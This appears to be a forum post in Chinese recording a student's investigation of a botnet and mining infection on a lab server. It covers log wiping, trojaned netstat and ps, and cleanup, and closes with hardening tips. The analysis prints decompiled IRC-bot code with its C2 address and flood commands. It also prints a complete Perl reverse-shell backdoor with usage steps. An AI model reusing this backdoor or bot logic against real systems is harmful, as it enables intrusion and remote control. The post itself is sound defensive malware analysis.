社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 499阅读
  • 2回复

[分享]记录最近与挖矿病毒的斗智斗勇

楼层直达
z3960 
级别: 茶馆馆主
发帖
770593
飞翔币
207694
威望
215657
飞扬币
2511651
信誉值
8



0 前言


学生一枚,马上毕业,空闲时间在校园网内部的服务器上部署了一些蜜罐,发现很多好玩的东西,先记录一篇。

1 蜜罐报警


日常打开蜜罐页面,看到蜜罐有数条报警信息,ip比较熟悉,来自实验室的服务器集群,也不用收集蜜罐字典去反向爆破了。

2 服务器病毒排查


用自己的账号登进去看,除了有点卡之外,再没什么异常了。top的cpu占用率有点高,也有点卡



2.1 查目录


根据近几个月与这波人对抗的经验,查看了几个特殊目录下(/opt,/etc,/tmp,~,)的文件,发现也没有这拨人常用的那些工具与文件(这些以后单独放一个帖子讲,如果大家想看,hhh)。这里不截图了

2.2 查日志


翻看/var 下的日志,linux下应该主要关注的以下几个日志

/var/log/syslog
/var/log/messages
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/secure
/var/log/auth.log
/var/log/user.log
/var/log/wtmp
/var/log/lastlog
/var/log/btmp
/var/run/utmp

机器中的日志,全部被覆盖写入,被清除。这点是我没想到的,因为根据这拨人以往的行为是没有这个动作的,后来也就想明白了,是在反溯源。上新手段了,联想到top命令占用的cpu比较多,想到一点,bash命令替换。

2.3 查网络连接


这里推荐几个我常用的命令

netstat -atnp 查看网络连接
ss -t -a -pl 也是查看网络连接的

这两个命令发现有个跟外网通信的连接,没有进程id和进程名


这个ip,上威胁情报查了一下,报毒


由此断定,这个状态为established的连接有问题,隐藏了进程id和进程名。至于隐藏的方法,结合上面的top命令,不难猜到是用了bash命令替换。

2.4 查bash命令


以netstat命令为例,通过whereis 找到netstat的目录,然后使用stat查看,发现修改时间似乎有点不太对,近期修改


其他的ls,ps等,也是近期修改,怀疑度++。

2.5 验证猜测


使用busybox中的命令,与系统中的命令结果对比,来验证我们的猜想。busybox可以通过docker直接安装

sudo docker run --rm -itv /tmp/:/tmp busybox:uclibc

我们再次使用./busybox netstat和netstat来看一下结果,如下图


可以看到,busybox中的命令显示出了进程id和程序,证明了猜测。

3 病毒详情


根据查到的进程id,使用./busybox lsof 查看该进程的详细信息


根据访问这个目录,查看目录详情,这里我们同样看一下系统中的命令与busybox的命令显示区别。



3.1 病毒文件分析


在这里挑几个这次攻击特有的行为进行分析,test文件夹中的信息以前见过,暂不分析。

3.1.1 systemd


这是一个elf64位文件,经过了upx加壳,我们可以直接使用upx -d 进行脱壳。随后进入主函数大致看一下功能 复制代码 隐藏代码int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  ...  v17 = argv;  v36 = "/etc/rc.local";  v35 = fopen64("/etc/rc.local", "r", envp);    // 获取本服务器的dns地址  if ( !v35 )  {    v36 = "/etc/rc.local";    v35 = fopen64("/etc/rc.local", "r", v3);  }  if ( v35 )                                    // 获取文件目录  {    v34 = strlen(*argv);    v33 = 0;    getcwd(&buf);    if ( (unsigned int)strcmp(&buf, "/") )    {      while ( (*argv)[v34] != 47 )        --v34;      v4 = &(*argv)[v34];      v5 = ""%s%s"n";      sprintf((unsigned __int64)&v20);      while ( !(unsigned int)feof_unlocked(v35, v5) )      {        fgets_unlocked(v21, 1024LL, v35);        v5 = &v20;        if ( !(unsigned int)strcasecmp(v21, &v20) )          ++v33;      }      if ( v33 )      {        fclose(v35);      }      else      {        fclose(v35);        v26 = fopen64(v36, "a", v6);        if ( v26 )        {          fputs_unlocked(&v20, v26);          fclose(v26);        }      }    }    else    {      fclose(v35);    }  }                                             //这里原来有一个fork反调试,我直接nop了  v7 = strlen(*v17);  v8 = "systemd";  strncpy(*v17, "systemd", v7);                 // 文件名必须是systemd  for ( i = 1; i < argc; ++i )  {    v9 = strlen(v17);    v8 = 0LL;    memset(v17, 0LL, v9);  }  v10 = time(0LL);  v11 = v10 ^ (unsigned __int64)getpid(0LL, v8);  v12 = v11 + (unsigned int)getppid();  srand(v12);  nick = makestring();                          // 在/usr/share/dict/american-english中随机选择一些名字  ident = makestring();  user = makestring();  chan = (__int64)"#root";  key = (__int64)"null";  server = 0LL;  while ( 1 )  {LABEL_21:    con(v12, (__int16 *)v8);                    // 连接c2服务器    Send(sock, (__int64)"NICK %snUSER %s localhost localhost :%sn", nick, ident, user, v13, v17);// socket连接    while ( 1 )    {      v30 = v18;      for ( j = 16; j; --j )      {        v14 = v30;        ++v30;        *v14 = 0LL;      }      v18[(unsigned __int64)sock >> 6] |= 1LL << (sock & 0x3F);      v22 = 1200LL;      v23 = 0LL;      v12 = (unsigned int)(sock + 1);      v8 = (char *)v18;      if ( (signed int)select(v12, v18, 0LL, 0LL, &v22) <= 0 )        break;      for ( k = 0LL; k < numpids; ++k )      {        if ( (signed int)waitpid(*(unsigned int *)(4 * k + pids), 0LL, 1LL) > 0 )        {          for ( l = k + 1; l < (unsigned __int64)numpids; ++l )            *(_DWORD *)(4LL * (l - 1) + pids) = *(_DWORD *)(4LL * l + pids);          *(_DWORD *)(4LL * (l - 1) + pids) = 0;          v25 = malloc(4 * (--numpids + 1));          for ( l = 0; l < (unsigned __int64)numpids; ++l )            *(_DWORD *)(4LL * l + v25) = *(_DWORD *)(4LL * l + pids);          free(pids);          pids = v25;        }      }      if ( ((unsigned __int64)v18[(unsigned __int64)sock >> 6] >> (sock & 0x3F)) & 1 )// 这一部分是向c2服务器发送相关的信息,同时可以接受c2的指令      {        v8 = v21;        v12 = (unsigned int)sock;        n = recv((unsigned int)sock, v21, 4096LL, 0LL);        if ( n <= 0 )          goto LABEL_21;        v21[n] = 0;        for ( m = (_BYTE *)strtok(v21, "n"); m && *m; m = (_BYTE *)strtok(0LL, "n") )        {          filter(m);          if ( *m == 58 )          {            for ( n = 0; ; ++n )            {              v15 = n;              if ( v15 >= strlen(m) || m[n] == 32 )                break;            }            m[n] = 0;            strcpy(&v20, m + 1);            strcpy(m, &m[n + 1]);          }          else          {            *(_WORD *)&v20 = 42;          }          for ( n = 0; ; ++n )          {            v16 = n;            if ( v16 >= strlen(m) || m[n] == 32 )              break;          }          m[n] = 0;          strcpy(&v19, m);          strcpy(m, &m[n + 1]);          for ( n = 0; (&msgs)[2 * n]; ++n )          {            if ( !(unsigned int)strcasecmp((&msgs)[2 * n], &v19) )              ((void (__fastcall *)(_QWORD, char *, _BYTE *))*(&off_6141E8 + 2 * n))((unsigned int)sock, &v20, m);          }          v8 = "ERROR";          v12 = (__int64)&v19;          if ( !(unsigned int)strcasecmp(&v19, "ERROR") )            goto LABEL_21;        }      }    }  }}
con函数是连接c2的函数,c2的地址不是明文存储的,程序运行时随机在几个字符串中解密,解密得到的内容,根据随机选择的字符串不同,得到的域名或者ip,下面是加密字符串。 复制代码 隐藏代码.data:0000000000614060 servers         dq offset aVcuvcyZVoqVcy7.data:0000000000614060                                         ; DATA XREF: con+59↑r.data:0000000000614060                                         ; "<vCuvCy<z*?voq$$vCy?73".data:0000000000614068                 dq offset aWymBymZymz   ; ";wym_Bym;ZymZ,".data:0000000000614070                 dq offset aVa7yefzyS    ; "vA7yEFzy<s"
下面是解密得到的域名


ip就是之前的45.137.149.196
在解密之后,与c2服务器建立socket连接,下面是con函数的全部内容 复制代码 隐藏代码__int64 __fastcall con(__int64 a1, __int16 *a2){  ...  while ( 1 )  {LABEL_1:    sock = -1;    v2 = time(0LL);    v3 = v2 ^ (unsigned __int64)getpid(0LL, a2);    v4 = v3 + (unsigned int)getppid();    srand(v4);    if ( !changeservers )      server = (__int64)servers[(signed int)rand(v4, a2) % numservers];    decode(server, 0LL);    v11 = &decodedsrv;    changeservers = 0;    do    {      a2 = (__int16 *)1;      sock = socket(2LL, 1LL, 6LL);    }    while ( sock < 0 );    if ( (unsigned int)inet_addr(v11) && (unsigned int)inet_addr(v11) != -1 )      break;    v10 = gethostbyname(v11);    if ( v10 )    {      bcopy(**(_QWORD **)(v10 + 24), &v8, *(signed int *)(v10 + 20));      goto LABEL_11;    }    v11 = 0LL;    close((unsigned int)sock, 1LL);  }  v8 = inet_addr(v11);LABEL_11:  v6 = 2;  v7 = htons(1LL);  a2 = (__int16 *)21537;  ioctl(sock);  v9 = time(0LL);  while ( 1 )  {    if ( (unsigned __int64)(time(0LL) - v9) > 9 )    {LABEL_19:      v11 = 0LL;      close((unsigned int)sock, a2);      goto LABEL_1;    }    *(_DWORD *)_errno_location() = 0;    a2 = &v6;    if ( !(unsigned int)connect((unsigned int)sock, &v6, 16LL) || *(_DWORD *)_errno_location() == 106 )      break;    if ( *(_DWORD *)_errno_location() != 115 && *(_DWORD *)_errno_location() != 114 )      goto LABEL_19;    sleep(1LL);  }  setsockopt((unsigned int)sock, 1LL, 13LL, 0LL, 0LL);  setsockopt((unsigned int)sock, 1LL, 2LL, 0LL, 0LL);  return setsockopt((unsigned int)sock, 1LL, 9LL, 0LL, 0LL);}
上面说到了服务器与主机之间相互通信,下面一些信号对应不同函数和不同功能,不再展开说了。 复制代码 隐藏代码.data:0000000000614080 flooders        dq offset aPan          ; "PAN".data:0000000000614088 off_614088      dq offset pan.data:0000000000614090                 dq offset aUdp          ; "UDP".data:0000000000614098                 dq offset udp.data:00000000006140A0                 dq offset aUnknown      ; "UNKNOWN".data:00000000006140A8                 dq offset unknown.data:00000000006140B0                 dq offset aRandomflood  ; "RANDOMFLOOD".data:00000000006140B8                 dq offset randomflood.data:00000000006140C0                 dq offset aNsackflood   ; "NSACKFLOOD".data:00000000006140C8                 dq offset nsackflood.data:00000000006140D0                 dq offset aNssynflood   ; "NSSYNFLOOD".data:00000000006140D8                 dq offset nssynflood.data:00000000006140E0                 dq offset aAckflood     ; "ACKFLOOD".data:00000000006140E8                 dq offset ackflood.data:00000000006140F0                 dq offset aSynflood     ; "SYNFLOOD".data:00000000006140F8                 dq offset synflood.data:0000000000614100                 dq offset aNick         ; "NICK".data:0000000000614108                 dq offset nickc.data:0000000000614110                 dq offset aKekserver    ; "KEKSERVER".data:0000000000614118                 dq offset move.data:0000000000614120                 dq offset aGetspoofs    ; "GETSPOOFS".data:0000000000614128                 dq offset getspoofs.data:0000000000614130                 dq offset aSpoofs       ; "SPOOFS".data:0000000000614138                 dq offset spoof.data:0000000000614140                 dq offset aHackpkg      ; "HACKPKG".data:0000000000614148                 dq offset hackpkg.data:0000000000614150                 dq offset aDisable      ; "DISABLE".data:0000000000614158                 dq offset disable.data:0000000000614160                 dq offset aEnable       ; "ENABLE".data:0000000000614168                 dq offset enable.data:0000000000614170                 dq offset aUpdate       ; "UPDATE".data:0000000000614178                 dq offset update.data:0000000000614180                 dq offset aFuckit       ; "FUCKIT".data:0000000000614188                 dq offset killd.data:0000000000614190                 dq offset aGet          ; "GET".data:0000000000614198                 dq offset get.data:00000000006141A0                 dq offset aVersion      ; "VERSION".data:00000000006141A8                 dq offset version.data:00000000006141B0                 dq offset aKillall      ; "KILLALL".data:00000000006141B8                 dq offset killall.data:00000000006141C0                 dq offset aHelp         ; "HELP".data:00000000006141C8                 dq offset helpdata:00000000006141E0 msgs            dq offset a352          ; "352".data:00000000006141E8 off_6141E8      dq offset _352.data:00000000006141F0                 dq offset a376          ; "376".data:00000000006141F8                 dq offset _376.data:0000000000614200                 dq offset a433          ; "433".data:0000000000614208                 dq offset _433.data:0000000000614210                 dq offset a422          ; "422".data:0000000000614218                 dq offset _376.data:0000000000614220                 dq offset aPrivmsg      ; "PRIVMSG".data:0000000000614228                 dq offset _PRIVMSG.data:0000000000614230                 dq offset aPing         ; "PING".data:0000000000614238                 dq offset _PING.data:0000000000614240                 dq offset aNick         ; "NICK".data:0000000000614248                 dq offset _NICK.data:0000000000614250                 align 20h

3.1.2 dc.pl

复制代码 隐藏代码#!/usr/bin/perl      use Socket;      print "Data Cha0s Connect Back Backdoornn";      if (!$ARGV[0]) {        printf "Usage: $0 [Host] <Port>n";        exit(1);      }      print " Dumping Argumentsn";      $host = $ARGV[0];      $port = 80;      if ($ARGV[1]) {        $port = $ARGV[1];      }      print " Connecting...n";      $proto = getprotobyname('tcp') || die("Unknown Protocoln");      socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Errorn");      my $target = inet_aton($host);      if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {        die("Unable to Connectn");      }      print " Spawning Shelln";      if (!fork( )) {        open(STDIN,">&SERVER");        open(STDOUT,">&SERVER");        open(STDERR,">&SERVER");        exec {'/bin/sh'} '-bash' . "" x 4;        exit(0);      }      print " Datachednn";
这段脚本的目的是反弹shell,具体使用方式为

vps上监听本地端口:nc -lvp port
./dc.pl vps port,运行后在vps上会有一个shell。


3.1.3  /lib/libpam_miv


这个文件里存放着最近登录过的root用户的密码

3.1.4 /lib/libscorep_ak


这个文件夹存放着用户执行的bash命令,部分记录格式如下 复制代码 隐藏代码sudo -ils --color=auto -l --color=automkdir binls --color=auto -l --color=autosudo mkdir binls --color=auto -l --color=automkdir etcsudo mkdir etcsudo mkdir libls --color=auto -l --color=autols --color=auto -l --color=autols --color=auto -l --color=autols --color=auto -l --color=autols --color=auto -l --color=autols --color=auto -l --color=auto

3.1.5 /lib/libscorep_tp


这个文件夹中存放着这次攻击的所有攻击工具,还包括本机的shadow,passwd,用户操作记录等,猜测是想打包带走?



3.1.6 /etc/kernelvqi


该目录是整个攻击工具的安装包,根据字符串初步的搜索结果可以证明


文件释放目录

3.2 病毒暂时清除方法

  1. 使用busybox,kill进程id,随后发现又起一个进程


  1. 我们进入proc中,查看进程的信息,发现其实还是那个病毒目录的。



查看一下进程号相邻的几个进程,应该是前面那个pl脚本在执行,选择全部kill


这个时候再看网络连接,发现已经断了,暂时安全

  1. 随后使用busybox删除前面出现的目录,以及各种文件。(最好是重装系统)


4 防护措施


根据最近病毒活动情况,病毒主要通过ssh弱口令对内网进行大规模的扫描,找到一批肉机后,会植入后门程序,包括不限于:openssh后门,反弹shell,添加用户,ssh公钥免密登录等。设置后门后,通常会每隔几天进行大规模的扫描,扫描使用的字典在不断更新(因为肉鸡上有工具记录,也有bash命令替换的情况),然后得到更多的肉机。最近总结的一些防护措施如下:
  1. 坚决不留弱口令,无论是web还是ssh还是数据库,弱口令是第一道门。
  2. 感觉有异常就看看网络连接,cpu利用率之类的,说不定就有惊喜。
  3. 服务器之间最好不要为了方便设置ssh免密登录(血的教训),一旦一个服务器被攻陷,整个集群/别的免密登录集群都完蛋。
  4. 最好能设置ip白名单,如果被入侵,及时设置黑名单。
  5. 定期对服务器进行安全检查,升级服务器系统,防止利用系统漏洞(脏牛等)提权。
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 超级版主
发帖
837541
飞翔币
228834
威望
224673
飞扬币
2467718
信誉值
0

只看该作者 1 发表于: 2021-03-09
来看一下
级别: 超级版主
发帖
837541
飞翔币
228834
威望
224673
飞扬币
2467718
信誉值
0

只看该作者 2 发表于: 2021-03-09
不错,了解了